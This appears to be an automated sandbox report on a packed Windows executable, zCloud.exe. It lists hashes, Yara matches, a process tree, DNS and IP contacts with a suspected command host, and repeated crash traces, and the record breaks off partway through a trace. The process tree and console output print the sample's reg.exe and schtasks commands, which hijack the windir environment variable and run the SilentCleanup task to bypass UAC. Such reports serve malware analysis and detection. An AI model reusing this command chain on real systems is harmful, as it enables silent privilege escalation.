Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	Sept. 22, 2021, 9:18 a.m.	Sept. 22, 2021, 9:20 a.m.

Size	1.1MB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`c6855b8e550bcdd88084643f747070ac`
SHA256	`34400bb7662a1aa0865f6ec06892fff142dd3ff8d09464141f75a96a42724493`
CRC32	`F34A6FF6`
ssdeep	`12288:lIspEfnP8N/seflQTshT8aqeTW39KqGeoAdrL7SUbDz5Zp:320N/seflZhTmiW3AyrPzz5Z`
Yara	UPX_Zero - UPX packed file PE_Header_Zero - PE File Signature Malicious_Library_Zero - Malicious_Library IsPE32 - (no description)

zCloud.exe "C:\Users\test22\AppData\Local\Temp\zCloud.exe"
2084
- cmd.exe cmd /c ""C:\Users\Public\Trast.bat" "
  2252
  - cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
    2412
    - reg.exe reg delete hkcu\Environment /v windir /f
      1580
    - reg.exe reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "
      1820
    - schtasks.exe schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
      1972
- cmd.exe cmd /c ""C:\Users\Public\nest.bat" "
  2244
  - reg.exe reg delete hkcu\Environment /v windir /f
    2488

Name	Response	Post-Analysis Lookup
qcjbog.sn.files.1drv.com	CNAME odc-sn-files-geo.onedrive.akadns.net CNAME sn-files.fe.1drv.com CNAME sn-files.ha.1drv.com.l-0003.dc-msedge.net.l-0003.l-msedge.net A 13.107.42.12 CNAME odc-sn-files-brs.onedrive.akadns.net CNAME l-0003.l-msedge.net	13.107.42.12
saptransmissions.dvrlists.com	A 185.140.53.32	185.140.53.32
onedrive.live.com	CNAME odc-web-geo.onedrive.akadns.net CNAME l-0004.l-msedge.net A 13.107.42.13 CNAME odwebpl.trafficmanager.net.l-0004.dc-msedge.net.l-0004.l-msedge.net CNAME odc-web-brs.onedrive.akadns.net	13.107.42.13

IP Address	Status	Action
13.107.42.12	Active	Moloch
13.107.42.13	Active	Moloch
164.124.101.2	Active	Moloch
185.140.53.32	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.102:49164 -> 13.107.42.13:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.102:49166 -> 13.107.42.12:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.102:49165 -> 13.107.42.12:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLS 1.3 192.168.56.102:49168 185.140.53.32:6969	None	None	None
TLS 1.3 192.168.56.102:49177 185.140.53.32:6969	None	None	None
TLSv1 192.168.56.102:49164 13.107.42.13:443	C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 01	CN=onedrive.com	50:2f:33:10:92:ac:27:7b:17:be:82:68:3b:e2:29:ad:97:41:b7:bb
TLSv1 192.168.56.102:49166 13.107.42.12:443	C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 01	C=US, ST=WA, L=Redmond, O=Microsoft Corporation, OU=Microsoft Corporation, CN=storage.live.com	ec:e5:02:98:e6:c9:9a:12:fc:c0:4d:19:cd:2b:0c:ae:d0:c0:37:8e
TLSv1 192.168.56.102:49165 13.107.42.12:443	C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 01	C=US, ST=WA, L=Redmond, O=Microsoft Corporation, OU=Microsoft Corporation, CN=storage.live.com	ec:e5:02:98:e6:c9:9a:12:fc:c0:4d:19:cd:2b:0c:ae:d0:c0:37:8e
TLS 1.3 192.168.56.102:49176 185.140.53.32:6969	None	None	None

Queries for the computername (1 event)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW Sept. 22, 2021, 9:18 a.m.	computer_name: TEST22-PC	1	1	0

Command line console output was observed (22 events)

Time & API	Arguments	Status	Return
WriteConsoleW Sept. 22, 2021, 9:18 a.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Sept. 22, 2021, 9:18 a.m.	buffer: start console_handle: 0x00000007	1	1
WriteConsoleW Sept. 22, 2021, 9:18 a.m.	buffer: /min C:\Users\Public\UKO.bat console_handle: 0x00000007	1	1
WriteConsoleW Sept. 22, 2021, 9:18 a.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Sept. 22, 2021, 9:18 a.m.	buffer: reg console_handle: 0x00000007	1	1
WriteConsoleW Sept. 22, 2021, 9:18 a.m.	buffer: delete hkcu\Environment /v windir /f console_handle: 0x00000007	1	1
WriteConsoleW Sept. 22, 2021, 9:18 a.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Sept. 22, 2021, 9:18 a.m.	buffer: reg console_handle: 0x00000007	1	1
WriteConsoleW Sept. 22, 2021, 9:18 a.m.	buffer: add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM " console_handle: 0x00000007	1	1
WriteConsoleW Sept. 22, 2021, 9:18 a.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Sept. 22, 2021, 9:18 a.m.	buffer: schtasks console_handle: 0x00000007	1	1
WriteConsoleW Sept. 22, 2021, 9:18 a.m.	buffer: /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I console_handle: 0x00000007	1	1
WriteConsoleW Sept. 22, 2021, 9:18 a.m.	buffer: exit console_handle: 0x00000007	1	1
WriteConsoleW Sept. 22, 2021, 9:18 a.m.	buffer: ERROR: console_handle: 0x0000000b	1	1
WriteConsoleW Sept. 22, 2021, 9:18 a.m.	buffer: The system was unable to find the specified registry key or value. console_handle: 0x0000000b	1	1
WriteConsoleW Sept. 22, 2021, 9:18 a.m.	buffer: The operation completed successfully. console_handle: 0x00000007	1	1
WriteConsoleW Sept. 22, 2021, 9:18 a.m.	buffer: ERROR: console_handle: 0x0000000b	1	1
WriteConsoleW Sept. 22, 2021, 9:18 a.m.	buffer: The system cannot find the path specified. console_handle: 0x0000000b	1	1
WriteConsoleW Sept. 22, 2021, 9:18 a.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Sept. 22, 2021, 9:18 a.m.	buffer: start console_handle: 0x00000007	1	1
WriteConsoleW Sept. 22, 2021, 9:18 a.m.	buffer: /min reg delete hkcu\Environment /v windir /f console_handle: 0x00000007	1	1
WriteConsoleW Sept. 22, 2021, 9:18 a.m.	buffer: The operation completed successfully. console_handle: 0x00000007	1	1

The executable contains unknown PE section names indicative of a packer (could be a false positive) (1 event)

section

.itext

One or more processes crashed (50 out of 148 events)

Time & API	Arguments	Status
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x77b2199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x77b2193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633032 registers.edi: 1633120 registers.eax: 23117 registers.ebp: 1633092 registers.edx: 0 registers.ebx: 0 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x77b3af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632884 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632944 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008160768	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x77b3ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x77b3af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633016 registers.edi: 1633104 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633140 registers.edi: 1633236 registers.eax: 23117 registers.ebp: 1633200 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008264192	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x77b2199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x77b2193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633032 registers.edi: 1633120 registers.eax: 23117 registers.ebp: 1633092 registers.edx: 0 registers.ebx: 0 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x77b3af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632884 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632944 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008160768	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x77b3ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x77b3af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633016 registers.edi: 1633104 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633140 registers.edi: 1633236 registers.eax: 23117 registers.ebp: 1633200 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008264192	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x77b2199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x77b2193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633032 registers.edi: 1633120 registers.eax: 23117 registers.ebp: 1633092 registers.edx: 0 registers.ebx: 0 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x77b3af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632884 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632944 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008160768	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x77b3ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x77b3af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll 